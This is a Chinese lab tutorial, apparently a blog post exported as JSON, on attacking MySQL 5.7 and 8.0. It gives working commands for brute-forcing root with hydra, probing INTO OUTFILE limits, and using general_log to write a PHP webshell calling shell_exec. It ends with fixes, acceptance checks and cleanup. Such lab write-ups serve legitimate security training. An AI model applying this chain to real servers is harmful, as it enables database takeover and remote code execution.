{"id":119446,"date":"2026-10-29T17:24:52","date_gmt":"2026-10-29T09:24:52","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/119446.html"},"modified":"2026-10-29T17:24:52","modified_gmt":"2026-10-29T09:24:52","slug":"%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95%e5%ae%9e%e6%88%98%e4%bb%8e%e9%9d%b6%e5%9c%ba%e6%90%ad%e5%bb%ba%e5%88%b0%e6%b8%97%e9%80%8f%e6%b5%81%e7%a8%8b-%e7%ac%ac-8-%e7%af%87-%c2%b7-%e6%9c%8d","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/119446.html","title":{"rendered":"\u6e17\u900f\u6d4b\u8bd5\u5b9e\u6218\u4ece\u9776\u573a\u642d\u5efa\u5230\u6e17\u900f\u6d41\u7a0b\u2014\u2014\u7b2c 8 \u7bc7 \u00b7 \u670d\u52a1\u578b\u9776\u6807\uff08\u4e0a\uff09\uff1aMySQL \u53cc\u7248\u672c\u5199\u6587\u4ef6\u94fe"},"content":{"rendered":"

\u76ee \u00a0\u5f55<\/span><\/span><\/h2>\n

\n

\u4e00\u3001\u9776\u6807\u4e0e\u63a5\u5165：\u4ece\u7206\u7834\u5230\u8fde\u63a5<\/span><\/span><\/p>\n

1.1 \u7206\u7834\u4e0e\u8fde\u63a5<\/span><\/span><\/p>\n

\u4e8c\u3001INTO OUTFILE：\u88ab secure_file_priv \u62e6\u4f4f\u7684\u7b2c\u4e00\u6761\u8def<\/span><\/span><\/p>\n

2.1 \u767d\u540d\u5355\u5185：\u6210\u529f<\/span><\/span><\/p>\n

2.2 \u767d\u540d\u5355\u5916：1290 \u62a5\u9519<\/span><\/span><\/p>\n

\u4e09\u3001general_log \u5199\u6587\u4ef6：\u7ed5\u8fc7 secure_file_priv \u7684\u6b63\u89e3<\/span><\/span><\/p>\n

3.1 8.0 \u5bf9\u7167：\u540c\u6837\u53ef\u884c，\u7ba1\u63a7\u5728\u522b\u5904<\/span><\/span><\/p>\n

\u56db\u3001\u7248\u672c\u5dee\u5f02\u4e0e\u5229\u7528\u9762\u603b\u7ed3<\/span><\/span><\/p>\n

\u4e94\u3001\u9632\u5fa1\u89c6\u89d2\u3001\u9a8c\u6536\u4e0e\u6e05\u573a<\/span><\/span><\/p>\n

5.1 \u4fee\u590d\u5efa\u8bae<\/span><\/span><\/p>\n

5.2 \u9a8c\u6536\u6807\u51c6<\/span><\/span><\/p>\n

5.3 \u6e05\u573a<\/span><\/span><\/p>\n<\/p>\n

\u4e00\u3001\u9776\u6807\u4e0e\u63a5\u5165：\u4ece\u7206\u7834\u5230\u8fde\u63a5<\/span><\/span><\/h2>\n

\u670d\u52a1\u578b\u9776\u6807\u7684\u73a9\u6cd5\u4e0e Web \u9776\u573a\u4e0d\u540c：\u653b\u51fb\u5165\u53e3\u4ece HTTP \u6362\u6210\u6570\u636e\u5e93\u534f\u8bae，\u653b\u51fb\u9762\u662f\u300c\u5f31\u53e3\u4ee4 + \u670d\u52a1\u7aef\u914d\u7f6e\u7f3a\u9677\u300d\u3002\u672c\u7bc7\u9776\u6807\u662f\u7b2c 1 \u7bc7\u90e8\u7f72\u7684 MySQL 5.7.44（3307）\u4e0e 8.0.46（3308），root\/root \u5f31\u53e3\u4ee4\u5373\u5207\u5165\u70b9\u3002<\/span><\/span><\/p>\n

1.1 \u7206\u7834\u4e0e\u8fde\u63a5<\/span><\/span><\/h3>\n

# hydra \u7206\u7834（\u5148\u786e\u8ba4\u8d26\u53f7\u5b58\u5728：nmap -p3307 –script mysql-brute \u5feb\u901f\u6478\u5e95）<\/span><\/span><\/span><\/p>\n

hydra -l root -P \/usr\/share\/wordlists\/rockyou.txt mysql:\/\/10.10.10.240:3307 -t 8<\/span><\/span><\/span><\/p>\n

# [3307][mysql] host: 10.10.10.240 \u00a0login: root \u00a0password: root<\/span><\/span><\/span><\/p>\n

\n

# \u8fde\u63a5：MySQL 8.0 \u5fc5\u52a0 –skip-ssl（8.0 \u9ed8\u8ba4\u5f3a\u5236 TLS，\u65e7\u5ba2\u6237\u7aef\u63e1\u624b\u5931\u8d25）<\/span><\/span><\/span><\/p>\n

mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -e "select version();"<\/span><\/span><\/span><\/p>\n

mysql -h10.10.10.240 -P3308 -uroot -proot –skip-ssl -e "select version();"<\/span><\/span><\/span><\/p>\n

\n

5.7 \u8fd4\u56de 5.7.44-log，8.0 \u8fd4\u56de 8.0.46\u3002\u4e24\u4e2a\u7248\u672c\u5c31\u662f\u4e00\u7ec4\u5bf9\u7167\u7ec4：\u540c\u4e00\u5957\u5199\u6587\u4ef6\u94fe，\u4e24\u8fb9\u8868\u73b0\u5b8c\u5168\u4e0d\u540c\u2014\u2014\u8fd9\u6b63\u662f\u672c\u7bc7\u8981\u8bb2\u7684\u653b\u9632\u6f14\u5316\u3002<\/span><\/span><\/p>\n

\u4e8c\u3001INTO OUTFILE：\u88ab secure_file_priv \u62e6\u4f4f\u7684\u7b2c\u4e00\u6761\u8def<\/span><\/span><\/h2>\n

\u7ecf\u5178\u5199\u6587\u4ef6\u59ff\u52bf\u662f SELECT … INTO OUTFILE，\u628a\u67e5\u8be2\u7ed3\u679c\u843d\u6210\u670d\u52a1\u5668\u4e0a\u7684\u6587\u4ef6\u3002\u5148\u770b\u53d8\u91cf\u7ea6\u675f：<\/span><\/span><\/p>\n

mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -e "show variables like 'secure_file_priv';"<\/span><\/span><\/span><\/p>\n

\n

# \u9884\u671f（\u5b9e\u6d4b，\u4e24\u4e2a\u7248\u672c\u4e00\u81f4）：<\/span><\/span><\/span><\/p>\n

# Variable_name \u00a0\u00a0\u00a0\u00a0Value<\/span><\/span><\/span><\/p>\n

# secure_file_priv \u00a0\/var\/lib\/mysql-files\/<\/span><\/span><\/span><\/p>\n

2.1 \u767d\u540d\u5355\u5185：\u6210\u529f<\/span><\/span><\/h3>\n

mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -e "select 'GL_MARK_OK' into outfile '\/var\/lib\/mysql-files\/gl.txt';"<\/span><\/span><\/span><\/p>\n

docker exec mysql57 grep -c GL_MARK_OK \/var\/lib\/mysql-files\/gl.txt<\/span><\/span><\/span><\/p>\n

# 1 \u2192 \u5199\u5165\u6210\u529f\u3002\u5bb9\u5668\u5185\u9a8c\u8bc1，\u522b\u53ea\u4fe1 SQL \u8fd4\u56de\u7684 Query OK<\/span><\/span><\/span><\/p>\n

2.2 \u767d\u540d\u5355\u5916：1290 \u62a5\u9519<\/span><\/span><\/h3>\n

mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -e "select 'X' into outfile '\/var\/www\/html\/x.php';"<\/span><\/span><\/span><\/p>\n

\n

# \u9884\u671f（\u5b9e\u6d4b）：ERROR 1290 (HY000):<\/span><\/span><\/span><\/p>\n

# The MySQL server is running with the –secure-file-priv option so it cannot execute this statement<\/span><\/span><\/span><\/p>\n

\n

1290 \u662f\u672c\u7bc7\u7b2c\u4e00\u4e2a\u5173\u952e\u5b66\u4e60\u70b9：secure_file_priv \u4ece MySQL 5.7.6 \u8d77\u9ed8\u8ba4\u6307\u5411\u4e13\u7528\u76ee\u5f55，OUTFILE\/LOAD_FILE \u53ea\u80fd\u5728\u8be5\u76ee\u5f55\u5185\u6d3b\u52a8\u2014\u2014\u60f3\u628a webshell \u5199\u8fdb \/var\/www\/html \u76f4\u63a5\u649e\u5899\u3002UDF \u63d0\u6743\u540c\u7406：\u5b83\u9700\u8981\u628a .so \u5199\u8fdb plugin_dir，\u800c plugin_dir \u540c\u6837\u4e0d\u5728\u767d\u540d\u5355\u5185，\u5199\u4e0d\u8fdb\u53bb，\u6574\u6761\u94fe\u5728\u7b2c\u4e00\u6b65\u5c31\u65ad（\u7b2c 1 \u7bc7\u90e8\u7f72\u65f6\u7528\u5b98\u65b9\u955c\u50cf\u9ed8\u8ba4\u914d\u7f6e，\u6b63\u662f\u73b0\u5b9e\u4e16\u754c\u7684\u4e3b\u6d41\u5f62\u6001）\u3002<\/span><\/span><\/p>\n

\u4e09\u3001general_log \u5199\u6587\u4ef6：\u7ed5\u8fc7 secure_file_priv \u7684\u6b63\u89e3<\/span><\/span><\/h2>\n

general_log（\u901a\u7528\u67e5\u8be2\u65e5\u5fd7）\u7684\u65e5\u5fd7\u6587\u4ef6\u8def\u5f84\u7531 general_log_file \u6307\u5b9a，\u800c\u8fd9\u4e24\u4e2a\u53d8\u91cf\u4e0d\u5f52 secure_file_priv \u7ba1\u3002\u628a\u65e5\u5fd7\u6587\u4ef6\u6307\u5230 Web \u76ee\u5f55\u3001\u5f00\u65e5\u5fd7，MySQL \u5c31\u4f1a\u628a\u6211\u4eec\u63d0\u4ea4\u7684 SQL \u539f\u6587\u5199\u8fdb\u53bb\u2014\u2014SQL \u91cc\u5e26 PHP \u4ee3\u7801，\u843d\u76d8\u5373 webshell\u3002<\/span><\/span><\/p>\n

# 1) \u5f00\u542f\u65e5\u5fd7\u5e76\u6307\u5411 Web \u76ee\u5f55（\u4ee5 5.7 \u4e3a\u4f8b）<\/span><\/span><\/span><\/p>\n

mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -e "set global general_log_file='\/var\/lib\/mysql\/shell.php'; set global general_log=on;"<\/span><\/span><\/span><\/p>\n

\n

# 2) \u5199\u5165\u5e26 PHP \u4ee3\u7801\u7684 SQL（\u65e5\u5fd7\u539f\u6837\u8bb0\u5f55）<\/span><\/span><\/span><\/p>\n

mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -e "select '<?php echo \\\\"GL_LOG_OK_\\\\".shell_exec(\\\\$_GET[0]);?>';"<\/span><\/span><\/span><\/p>\n

\n

# 3) \u5bb9\u5668\u5185\u786e\u8ba4\u843d\u76d8\u5185\u5bb9<\/span><\/span><\/span><\/p>\n

docker exec mysql57 grep -c GL_LOG_OK \/var\/lib\/mysql\/shell.php<\/span><\/span><\/span><\/p>\n

# 1 \u2192 \u6210\u529f<\/span><\/span><\/span><\/p>\n

\n

\u4e24\u4e2a\u5b9e\u64cd\u7ec6\u8282：\u2460 \u8def\u5f84\u6309\u5b9e\u9645 Web \u6839\u8c03\u6574，\u9776\u573a MySQL \u5b98\u65b9\u955c\u50cf\u6ca1\u6709 Web \u670d\u52a1，\u6f14\u793a\u65f6\u5199 \/var\/lib\/mysql\/ \u5e76\u7528 <\/span>docker exec grep<\/span>\u00a0\u9a8c\u8bc1\u843d\u76d8\u5373\u53ef，\u539f\u7406\u4e0e\u5199 \/var\/www\/html \u5b8c\u5168\u7b49\u4ef7；\u2461 PHP \u4ee3\u7801\u91cc\u7684 <\/span>$_GET<\/span>\u00a0\u7b49\u7b26\u53f7\u5728 SQL \u5355\u5f15\u53f7\u5185\u539f\u6837\u4fdd\u7559，\u8f6c\u4e49\u5c42\u6570\u591a\u4e86\u5bb9\u6613\u9519，\u5efa\u8bae\u5148\u5728\u672c\u5730\u628a PHP \u4e32\u5199\u597d\u3001\u518d\u7528\u53cc\u5f15\u53f7\u5305 SQL\u3002<\/span><\/span><\/p>\n

3.1 8.0 \u5bf9\u7167：\u540c\u6837\u53ef\u884c，\u7ba1\u63a7\u5728\u522b\u5904<\/span><\/span><\/h3>\n

mysql -h10.10.10.240 -P3308 -uroot -proot –skip-ssl -e "set global general_log_file='\/var\/lib\/mysql-files\/s80.txt'; set global general_log=on; select 'M80_MARK';"<\/span><\/span><\/span><\/p>\n

docker exec mysql80 grep -c M80_MARK \/var\/lib\/mysql-files\/s80.txt<\/span><\/span><\/span><\/p>\n

# 1 \u2192 8.0 \u540c\u6837\u6253\u901a\u3002general_log \u94fe\u4e24\u4e2a\u7248\u672c\u90fd\u6d3b\u7740<\/span><\/span><\/span><\/p>\n

\n

\u4e3a\u4ec0\u4e48\u8fd9\u6761\u94fe\u6ca1\u88ab\u5835：\u65e5\u5fd7\u8def\u5f84\u662f DBA \u7684\u5408\u6cd5\u8fd0\u7ef4\u914d\u7f6e（\u6392\u969c\u521a\u9700），\u5b98\u65b9\u4e0d\u80fd\u4e00\u5200\u5207\u7981\u6389\u3002\u5b83\u7684\u9632\u7ebf\u8f6c\u79fb\u5230\u4e86\u522b\u5904\u2014\u2014Web \u4e0e MySQL \u5206\u79bb\u90e8\u7f72（\u6570\u636e\u5e93\u4e0a\u6839\u672c\u6ca1\u6709 Web \u76ee\u5f55）\u3001\u5e94\u7528\u8d26\u53f7\u4e0d\u6388 SUPER \u6743\u9650\u3001\u5ba1\u8ba1 general_log \u7684\u5f00\u542f\u884c\u4e3a\u3002\u653b\u9632\u4e24\u7aef\u90fd\u503c\u5f97\u8bb0\u4f4f\u8fd9\u4e2a\u300c\u5408\u6cd5\u529f\u80fd\u6210\u4e3a\u653b\u51fb\u9762\u300d\u7684\u6a21\u5f0f\u3002<\/span><\/span><\/p>\n

\u56db\u3001\u7248\u672c\u5dee\u5f02\u4e0e\u5229\u7528\u9762\u603b\u7ed3<\/span><\/span><\/h2>\n\n\n\n\n\n\n\n\n
\n

\u5bf9\u6bd4\u9879<\/span><\/span><\/p>\n<\/td>\n

\n

MySQL 5.7.44<\/span><\/span><\/p>\n<\/td>\n

\n

MySQL 8.0.46<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n

\n

\u8fde\u63a5<\/span><\/span><\/p>\n<\/td>\n

\n

root\/root，\u9700 –skip-ssl（5.7.34+ \u9ed8\u8ba4 TLS）<\/span><\/span><\/p>\n<\/td>\n

\n

root\/root，\u9700 –skip-ssl<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n

\n

INTO OUTFILE<\/span><\/span><\/p>\n<\/td>\n

\n

secure_file_priv=\/var\/lib\/mysql-files\/，\u767d\u540d\u5355\u5916\u62a5 1290<\/span><\/span><\/p>\n<\/td>\n

\n

\u540c\u5de6<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n

\n

UDF \u63d0\u6743<\/span><\/span><\/p>\n<\/td>\n

\n

\u5199 plugin_dir \u88ab\u767d\u540d\u5355\u62e6\u622a<\/span><\/span><\/p>\n<\/td>\n

\n

\u540c\u5de6<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n

\n

general_log \u5199\u6587\u4ef6<\/span><\/span><\/p>\n<\/td>\n

\n

\u53ef\u7528（\u6838\u5fc3\u8003\u70b9）<\/span><\/span><\/p>\n<\/td>\n

\n

\u53ef\u7528（\u6838\u5fc3\u8003\u70b9）<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n

\n

\u6587\u4ef6\u5199\u5165\u53ef\u63a7\u6027<\/span><\/span><\/p>\n<\/td>\n

\n

\u65e5\u5fd7\u8def\u5f84\u4efb\u610f\u6307\u5b9a<\/span><\/span><\/p>\n<\/td>\n

\n

\u65e5\u5fd7\u8def\u5f84\u4efb\u610f\u6307\u5b9a<\/span><\/span><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\n

\u5229\u7528\u9762\u6392\u5e8f（\u4ece\u5f31\u53e3\u4ee4\u5f00\u59cb）：\u7206\u7834 root \u2192 \u63a2\u6d4b secure_file_priv \u2192 OUTFILE \u767d\u540d\u5355\u5224\u5b9a \u2192 general_log \u843d\u6587\u4ef6 \u2192 \u7ed3\u5408 Web \u89e3\u6790\u6210 RCE\u3002\u6bcf\u4e00\u6b65\u90fd\u6709\u660e\u786e\u7684\u6210\u8d25\u5224\u636e，\u4e0d\u9760\u731c\u3002<\/span><\/span><\/p>\n

\u4e94\u3001\u9632\u5fa1\u89c6\u89d2\u3001\u9a8c\u6536\u4e0e\u6e05\u573a<\/span><\/span><\/h2>\n

5.1 \u4fee\u590d\u5efa\u8bae<\/span><\/span><\/h3>\n
    \n
  • root \u7981\u6b62\u8fdc\u7a0b\u767b\u5f55（bind-address=127.0.0.1 + user \u8868 host \u9650\u5236），\u675c\u7edd\u5f31\u53e3\u4ee4\u7206\u7834\u9762\u3002<\/span><\/li>\n
  • secure_file_priv \u8bbe\u4e3a\u4e13\u7528\u76ee\u5f55（\u6216 NULL），Web \u76ee\u5f55\u7edd\u4e0d\u653e\u5165\u767d\u540d\u5355\u3002<\/span><\/li>\n
  • \u5e94\u7528\u8d26\u53f7\u6700\u5c0f\u6743\u9650：\u53ea\u6388\u4e1a\u52a1\u5e93\u589e\u5220\u6539\u67e5，\u7edd\u4e0d\u6388 FILE\/SUPER\/global \u53d8\u91cf\u4fee\u6539\u6743\u3002<\/span><\/li>\n
  • \u76d1\u63a7 general_log \u5f00\u5173\u53d8\u66f4（\u5ba1\u8ba1 set global \u8bed\u53e5），\u751f\u4ea7\u73af\u5883\u9ed8\u8ba4\u5173\u95ed\u3002<\/span><\/li>\n<\/ul>\n

    5.2 \u9a8c\u6536\u6807\u51c6<\/span><\/span><\/h3>\n

    \u4e24\u4e2a\u7248\u672c\u90fd\u80fd\u8fde\u63a5（\u542b –skip-ssl \u7ec6\u8282）；OUTFILE \u767d\u540d\u5355\u5185\u6210\u529f\u3001\u767d\u540d\u5355\u5916 1290（\u4e24\u4e2a\u73b0\u8c61\u90fd\u8981\u62ff\u5230）；general_log \u94fe\u5728\u4e24\u4e2a\u7248\u672c\u5747\u901a\u8fc7\u5bb9\u5668\u5185 grep \u786e\u8ba4\u843d\u76d8\u3002<\/span><\/span><\/p>\n

    5.3 \u6e05\u573a<\/span><\/span><\/h3>\n

    # \u5173\u65e5\u5fd7\u3001\u5220\u6587\u4ef6\u2014\u2014general_log \u4e0d\u5173\u4f1a\u6301\u7eed\u5199\u76d8，\u5c5e\u4e8e\u300c\u5f00\u4e86\u4e0d\u5173\u300d\u7684\u810f\u72b6\u6001<\/span><\/span><\/span><\/p>\n

    mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -e "set global general_log=off;"<\/span><\/span><\/span><\/p>\n

    mysql -h10.10.10.240 -P3308 -uroot -proot –skip-ssl -e "set global general_log=off;"<\/span><\/span><\/span><\/p>\n

    \n

    docker exec mysql57 sh -c "rm -f \/var\/lib\/mysql\/shell.php \/var\/lib\/mysql-files\/gl.txt"<\/span><\/span><\/span><\/p>\n

    docker exec mysql80 sh -c "rm -f \/var\/lib\/mysql-files\/s80.txt"<\/span><\/span><\/span><\/p>\n

    \n

    # \u7ec8\u6001\u786e\u8ba4：\u4e24\u53f0 general_log \u90fd\u5e94\u4e3a OFF，\u843d\u76d8\u6587\u4ef6\u90fd\u5e94\u4e3a 0<\/span><\/span><\/span><\/p>\n

    mysql -h10.10.10.240 -P3307 -uroot -proot –skip-ssl -N -e "show variables like 'general_log';" | grep -c OFF<\/span><\/span><\/span><\/p>\n

    \n

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